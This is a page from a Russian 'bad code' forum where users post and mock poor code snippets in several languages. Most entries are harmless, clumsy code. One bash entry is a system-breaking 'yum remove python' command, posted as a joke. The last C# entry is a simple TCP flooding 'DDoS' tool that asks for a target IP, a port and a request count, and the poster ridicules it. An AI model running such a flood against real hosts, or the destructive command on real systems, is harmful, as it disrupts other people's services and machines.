1. Лучший говнокод

    В номинации:
    За время:
  2. bash / Говнокод #12731

    −133

    1. 1
    yum remove python

    Еще один способ "отпилить ветку под собой"
    http://www.linux.org.ru/forum/admin/8946020

    Elvenfighter, 12 Марта 2013

    Комментарии (53)
  3. C++ / Говнокод #12592

    +16

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    char tab1[22][8]={"program","var","begin","end","int","float","bool","if","then","else","for","to","do","while","readln","writeln","as","||","!","&&","true","false"};
    char tab2[18][3]={"==","<",">","+","-","*","/","(",")",".",",",";"," ","!=","<=",">=",10};
    
    //Много кода
    
    if(!strcmp("program",st.top())&&!strcmp("program",&mas[j][0]))
    	{
    		st.pop();
    		j++;
    	}
    	else
    		if(!strcmp("var",st.top())&&!strcmp("var",&mas[j][0]))
    		{
    			st.pop();
    			j++;
    		}
    		else
    			if(!strcmp("begin",st.top())&&!strcmp("begin",&mas[j][0]))
    		{
    			st.pop();
    			j++;
    		}
    		else
    			if(!strcmp("end",st.top())&&!strcmp("end",&mas[j][0]))
    		{
    			st.pop();
    			j++;
    		}
    		else
    			if(!strcmp("int",st.top())&&!strcmp("int",&mas[j][0]))
    		{
    			st.pop();
    			j++;
    		}
    		else
    			if(!strcmp("float",st.top())&&!strcmp("float",&mas[j][0]))
    		{
    			st.pop();
    			j++;
    		}
    
    //Еще строк 200 такого

    Abbath, 14 Февраля 2013

    Комментарии (53)
  4. Objective C / Говнокод #12457

    −101

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    - (void)viewDidLoad
    {
        // ...
        
        float os_verson = [[[UIDevice currentDevice] systemVersion] floatValue];
        NSString* dev_ver_str = [[UIDevice currentDevice] systemVersion];
        
        if (os_verson >= 4 || [dev_ver_str hasPrefix:@"3.2"]) {
            [self viewWillAppear:NO];
            [self viewDidAppear:NO];
        }
    }

    Костыли наше всё

    tyler, 21 Января 2013

    Комментарии (53)
  5. C++ / Говнокод #12396

    +10

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    for (int i = 0; i < 15; i++) {
        // Прикольное место, надо прокомментировать
        // Если наша функция Fork() вернула true, то мы
        // в дочернем процессе и форкаться больше не надо
        // Форканье - это задача родителя
        // Дети этим заниматься не должны
        if (Fork()) break;
    }

    Создание дочерних процессов. Вот такой костыль. Есть идеи, как улучшить?

    kafeman, 07 Января 2013

    Комментарии (53)
  6. C++ / Говнокод #12104

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    //generate the new objects
        EnterCriticalSection(&csWinEvent);
        value arr = alloc_array(windowStates.size());
        int i=0;
        for(
            std::tr1::unordered_map<int,windowState>::const_iterator it = windowStates.begin();
            it!=windowStates.end();
            ++it )
        {
            value o = alloc_empty_object();
            //int hwnd
            //int x,y,w,h
            //int minimized,maximized,restored,closed
            alloc_field(o, val_id("hwnd"), alloc_int(it->first));
            alloc_field(o, val_id("window"), *(value*)GetWindowLongPtr((HWND)it->first,GWLP_USERDATA)  );
            alloc_field(o, val_id("x"), alloc_int(it->second.x));
            alloc_field(o, val_id("y"), alloc_int(it->second.y));
            alloc_field(o, val_id("w"), alloc_int(it->second.w));
            alloc_field(o, val_id("h"), alloc_int(it->second.h));
            alloc_field(o, val_id("minimized"), alloc_int(it->second.minimized));
            alloc_field(o, val_id("maximized"), alloc_int(it->second.maximized));
            alloc_field(o, val_id("restored"), alloc_int(it->second.restored));
            alloc_field(o, val_id("closed"), alloc_int(it->second.closed));
            val_array_set_i(arr,i,o);
            ++i;
        }
        windowStates.clear();
        LeaveCriticalSection(&csWinEvent);

    Casts ;]

    petersvp, 12 Ноября 2012

    Комментарии (53)
  7. Pascal / Говнокод #11395

    +99

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    // Получение имени выполняемого метода, вызывать можно только из Published-методов класса.
    // Для обычных методов: FindClassMethodNames(ClassType()), для статических методов FindClassMethodNames(self).
    {$optimization OFF}
    function FindClassMethodNames(obj: TClass): string;
    var _AdrPtr: Pointer;
    begin
      asm
        mov eax, obj
        mov edx, dword ptr [esp + 272]
        push ebx
        push esi
        push edi
        push $7FFFFFFF
        xor edi, edi
        jmp @@haveVMT
       @@outer:
        mov eax, dword ptr [eax]
       @@haveVMT:
        mov esi, dword ptr [eax].vmtMethodTable
        test esi, esi
        je @@parent
        movzx ecx, word ptr [esi]
        add esi, 2
       @@inner:
        pop ebx
        push edx
        sub edx, dword ptr [esi + 2]
        jl @@no1
        cmp edx, ebx
        jg @@no1
        mov ebx, edx
        mov edx, dword ptr [esi + 2]
        mov edi, edx
       @@no1:
        pop edx
        push ebx
        movzx ebx, word ptr [esi]
        add esi, ebx
        dec ecx
        jnz @@inner
       @@parent:
        mov eax, dword ptr [eax].vmtParent
        test eax, eax
        jne @@outer
        mov _AdrPtr, edi
        pop edi
        pop esi
        pop ebx
      end;
      Result := obj.MethodName(_AdrPtr);
    end;
    {$optimization ON}
    
    // пример использования
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      ShowMessage(FindClassMethodNames(ClassType()));
    end;

    А есть нормальный способ получить имя выполняемого метода, и строку кода заодно?

    ctm, 11 Июля 2012

    Комментарии (53)
  8. C++ / Говнокод #10934

    −51

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    void a() 
    {
    }
     
    void b()
    {
      return a();
    }

    Компилится.
    http://ideone.com/8eP1w

    HaskellGovno, 13 Июня 2012

    Комментарии (53)
  9. JavaScript / Говнокод #10503

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    String.prototype.startsWith=function(b){
        if(this.length<b.length){
    	return false
        }
        for(var a=0;a<b.length;++a){
    	if(this.charAt(a)!==b.charAt(a)){
    	    return false
    	}
        }
        return true
    };
    
    String.prototype.endsWith=function(b){
        if(this.length<b.length){
    	return false
        }
        var c=b.length-1;
        for(var a=this.length-1;a>this.length-1-b.length;--a){
    	if(b.charAt(c--)!==this.charAt(a)){
    	    return false
    	}
        }
        return true
    };
    
    String.prototype.contains=function(a){
        return this.indexOf(a)!==-1
    };
    
    String.prototype.LastIndexOf=function(d,c){
        if(this.length===0||d===null){
    	return -1
        }
        if(d.length>this.length){
    	return -1
        }
        if(isNaN(c)){
    	c=this.length-d.length
        }
        var a=false;
        for(var b=c;b>=0;--b){
    	a=true;
    	for(var e=0;e<d.length;++e){
    	    if(this.charAt(b+e)!==d.charAt(e)){
    		a=false;
    		break
    	    }
    	}
    	if(a){
    	    return b
    	}
        }
        return -1
    };
    
    String.prototype.LastIndexOf_char=function(a){
        for(var b=this.length-1;b>=0;--b){
    	if(this.charAt(b)===a){
    	    return b
    	}
        }
        return -1
    };
    
    String.prototype.setCharAt=function(b,a){
        if(b>this.length-1){
    	return str
        }
        return this.substr(0,b)+a+this.substr(b+1)
    };
    
    String.prototype.countCharAppearances=function(a){
        var b=0;
        for(var c=0;c<this.length;++c){
    	if(this.charAt(c)==a){
    	    ++b
    	}
        }
        return b
    };

    Сорри, что много буков, но тут каждую функцию можно воспринимать как отдельное произведение.
    Разбираю бред какого-то безымянного идиота :(

    wvxvw, 31 Мая 2012

    Комментарии (53)
  10. C++ / Говнокод #10478

    −43

    1. 1
    int eger;

    dos_, 30 Мая 2012

    Комментарии (53)
  11. C# / Говнокод #9186

    +972

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    private static void Main(string[] args)
    {
    Label_0000:
        Console.ForegroundColor = ConsoleColor.Green;
        Console.Title = "Inside Attack By XCrackers, Flood And Crash System!!";
        Console.Write("*******************************************************************************\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\nINSIDE ATTACK , CHECK SYSTEM , FLOOD FIREWALL AND SERVER , CRASH THE SYSTEM\n\n\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\nBY XCR, AND SYSTEMCHECH GLOBALS\n\n\nFOR CONTACT:\n\nSKYPE: roeeko10\n\nMSN: [email protected]\n\nSimple, Just Add Me For New UPDATE....\n*******************************************************************************\n\n");
        Console.Write("\n1) Inside.Attack, Flooding\n2) Exit\n\n");
        Console.Write("Your Choise : ");
        switch (int.Parse(Console.ReadLine()))
        {
            case 1:
            {
                Console.Write("\nEnter IP Address : ");
                string ipString = Console.ReadLine();
                Console.Write("\nPort : ");
                int port = int.Parse(Console.ReadLine());
                Console.Write("\nProtocol Tcp/Udp : ");
                Console.ReadLine();
                Console.Write("\nHow Much Request ? : ");
                int num3 = int.Parse(Console.ReadLine());
                byte[] bytes = Encoding.ASCII.GetBytes("abcdefghlkmnopzrstws!!$@$545$%2d21df3s");
                try
                {
                    for (int i = 0; i < num3; i++)
                    {
                        sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipString), port);
                        sck.SendTimeout = 1;
                        sck.Connect(remoteEP);
                        sck.SendTo(bytes, remoteEP);
                        Console.WriteLine("[*]Inside.Attack, Syn Request : {0} Data Bytes : 1956 BYTE Every 0.3 Sec ", i);
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot Connected To The Host ......");
                    Console.ReadLine();
                }
                Console.WriteLine("[+]Inside Attack Sucsess.!! All The Syn Request And The Data Byte Was Sent !! <ANT KEY FOR CONTINUE>");
                Console.ReadKey();
                goto Label_0000;
            }
            case 2:
                return;
        }
        Console.Clear();
        Console.WriteLine("Incorrect Choose!! . Please Choose 1/2.\n\n");
        goto Label_0000;
    }

    Код 13-и летнего кулхацкера. "Это ДДОС посоны".

    cthulhu25, 20 Января 2012

    Комментарии (53)